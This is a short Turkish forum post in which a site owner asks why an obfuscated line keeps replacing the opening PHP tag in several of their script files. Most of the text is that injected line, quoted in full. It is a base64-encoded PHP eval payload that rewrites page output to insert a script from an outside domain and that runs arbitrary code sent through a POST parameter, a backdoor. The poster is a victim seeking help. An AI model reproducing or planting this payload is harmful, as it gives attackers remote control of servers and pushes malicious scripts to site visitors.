arkadaşlar scriptimdeki 3-4 dosyanın üstün satırında <?php yazmazı gerekirken bu alttaki kod yazıyor site biraz açık kalıyor sonra bakıyorum dosyalara <?php yazan yer değişmiş alttaki kod ile o kodu silip <?php yazınca script normal çalışmaya başlıyor bunun sebebi ne olabilir ?

<?php eval(base64_decode('aWYoIWlzc2V0KCRxcjB6MSkpe2Z1bmN0aW9uIHFyMHooJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXSBhcyAkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF0gYXMgJHYpaWYocHJlZ19tYXRjaCgnIyB3aWR0aFxzKj1ccypbXCciXT8wKlswMV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0RvdkwzUm9ZV3hoYzNOaGNISnZiVzkwYVc5dUxtVjFMM05qY21sd2RITXZjR0ZuWldWaGNsOXpMbkJvY0NBK1BDOXpZM0pwY0hRKycpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMpO2Vsc2VpZihzdHJwb3MoJHMsJyxhJykpJHMuPSRhO3JldHVybiAkczt9ZnVuY3Rpb24gcXIwejIoJGEsJGIsJGMsJGQpe2dsb2JhbCAkcXIwejE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJHFyMHoxKSljYWxsX3VzZXJfZnVuYygkcXIwejEsJGEsJGIsJGMsJGQpO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSkgYXMgJHYpaWYoKCRhPSR2WyduYW1lJ10pPT0ncXIweicpcmV0dXJuO2Vsc2VpZigkYT09J29iX2d6aGFuZGxlcicpYnJlYWs7ZWxzZSAkc1tdPWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdxcjB6Jyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19JHFyMHpsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdxcjB6MicpKSE9J3FyMHoyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs=')); ?><?php